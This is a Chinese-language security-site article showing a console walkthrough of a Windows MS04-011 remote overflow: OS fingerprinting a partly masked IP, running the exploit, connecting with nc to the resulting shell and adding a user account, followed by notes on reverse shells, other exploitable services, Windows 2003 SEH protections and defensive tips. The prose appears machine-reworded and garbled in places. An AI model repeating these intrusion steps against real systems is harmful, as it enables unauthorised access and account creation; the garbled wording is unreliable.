系统漏洞溢出攻击实例pc软件 文章资讯 手机软件

您当前的位置→图文中心安全防范系统漏洞溢出攻击实例

系统漏洞溢出攻击实例


2008/10/4 17:07:51 编辑:佚名 来源:admin 

我们我自己来看一下以前比较精典的一个溢出实例ms04011溢出:

Microsoft Windows XP [版本 5.1.2600] 
(C) 版权所有 1985-2001 Microsoft Corp. 
C:\windows\system32\cd\ 

C:\>
C:\>getos 2**.159.31.96   (判断操作系统system)

---------------------------- 
THCsmbgetOS v0.1 - gets gro 

by Johnny Cyberpunk ( 
---------------------------- 

  •  Connecting Port 139.... 
  •  Sending session request. 
  •  Sending negotiation requ 
  •  Sending setup account re 
  •  Successful.... 

    Remote OS: 
    ---------- 
    WORKGROUP 
    Windows 2000 LAN Manager 
    Windows 5.1 

    C:\> 
    C:\>ms04011 1 2**.159.31.96 (溢出格式)
    shellcode size 404 
    Ret value = 1727 

    C:\> 
    C:\>nc 2**.159.31.96 1234  (nc来进行连载)
    Microsoft Windows XP 

  • [版本 5.1.2600] 
    (C) 版权所有 1985-2001 Microsoft Corp. 

    D:\WINDOWS\system32> (得到目标机shell)


    D:\WINDOWS\system32>net user test  test /add 
    net user test test /add 
    命令成功完成。   (建立用户)

    上面只是不复杂演示了一下溢出过程, 上例是正向溢出, 只是直接溢出后用nc来进行连载, 还可以能够反向溢出, 反向溢出一般用来突破防火墙, 先用nc就在本机监听一个端口, 等待反向溢出的服务器连载过来从而得到一个system权限的shell。 对于溢出还是有很多, 如iis、mso4045、ms04049、ms05039、ms05051、ms06061等还是有一些精典的应用程序远程溢出, 如未打sp3的mssql远程溢出可以能够直接得到系统system权限。 还是有imail服务也一样可以能够可以通过远程溢出获得系统system权限。 还是有很多病毒如冲击波、震荡波等病毒都是利用的rpc和lsass溢出漏洞, 就在感染一台机器后又会一直不断的以此机器为节点扫描网络net中的其它存就在漏洞的机器来进行溢出植入病毒程序, 这样会一直不断的繁殖下去。

    不过就在windiws2003下溢出就无用武之地了, 因为就在2003的保护机制里面还是有一个技术是可控的SEH处理函数指针, 2003中结构化异常处理例程注册后, 它的函数指针会保存就在模块中的一个叫Load Configuration Directory的地址列表中, 如果函数返回时系统system发现堆栈中的Cookie发生了改变, 视为溢出, 系统system就一定会查看当前线程相关的SEH中是否有相应的处 理函数指针, 有的话, 系统system将该指针与已经注册过函数的地址列表来进行对照, 如果没有发现匹配的, 而且处理函数指针就在堆栈中, 异常处理函数就不运行。 如果该处 理函数指针位于已加载的各个DLL模块地址范围只外, 或堆中, 处理函数会被执行, 这种可控制的异常处理技术就一定会使传统的覆盖SEH指针的方法失败。 虽然可以能够用已经加载模块以外的地址来覆盖SHE但就在远程溢出中仍显得无力。

    我们我自己再来看看本地溢出, 本地溢出主要用来来进行权限提高水平, 前面的serv-u的本地溢出已经注入中讲解了, 我们我自己现就在再来看一下本地的一个特权提高水平漏洞

    可以通过执行本地溢出直接从user用户提高水平到系统system权限。

    对溢出攻击的安全防范:

    关闭139端口, 停掉icp/ip netbios服务。

    就在本地连载的属性窗口中tcp/ip协议中的高级选择中项里“禁用tcp/ip上的netbios(s)”因为很多溢出都是利用的这个通道。

    安装防火墙是必要的。

    打上重要漏洞的补丁(如冲击波补丁、震荡波补丁), 并启动系统system的全自动更新功能。

    服务器使用windows2003系统system。

    相关文章
  • windows10如何才可以查看当前系统的激活码?
  • widows7CPU温度观察,Win7系统查看CPU温度的方法
  • Win10系统下avi文件无法打开怎么办?
  • 国行版的Galaxy S8手机推送了系统更新
  • windows7不能删除软件!Win7系统软件无法卸载怎么办
  • win7系统msn无法登录,Win7登录msn失败提示“错误代码80040154”怎么解决?
  • Win7系统共享打印机的权限教程Win10和Win7系统局域网打印机共享设置过程介绍
  • windows7系统不小心清空回收站!win7回收站清空了怎么恢复?
  • 发表评论
    阅读排行
    网站帮助 - 广告合作 - 下载声明 - 网站地图